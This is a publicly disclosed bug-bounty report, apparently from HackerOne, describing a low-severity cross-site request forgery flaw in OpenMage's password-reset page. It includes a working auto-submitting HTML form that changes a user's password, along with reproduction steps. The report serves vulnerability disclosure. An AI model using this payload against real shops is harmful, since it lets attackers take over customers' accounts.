HexBrain

OpenMage · Report #1086752

CSRF in changing password after using reset password link

Validstatus
lowseverity
24upvotes
27 May 2021disclosed

How it was found

Summary:

Hey OpenMage, the forgot password page is not protected against CSRF attack which can lead to changing password. Use the below form to test

<html> 
  <body>
    <form  action="https://demo.openmage.org/customer/account/resetpasswordpost/" method="POST">
      <input type="hidden" name="password" value="password123" />
      <input type="hidden" name="confirmation" value="password123" />
    </form>
   <script>document.forms[0].submit()</script>
  </body>
</html>

Steps To Reproduce:

  1. Go to https://demo.openmage.org/customer/account/forgotpassword/
  2. Enter your email and ask for password reset link
  3. Load the password reset link and after loading it close it
  4. Now load the above form and boom, password will be changed.

Impact

Password reset via CSRF

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original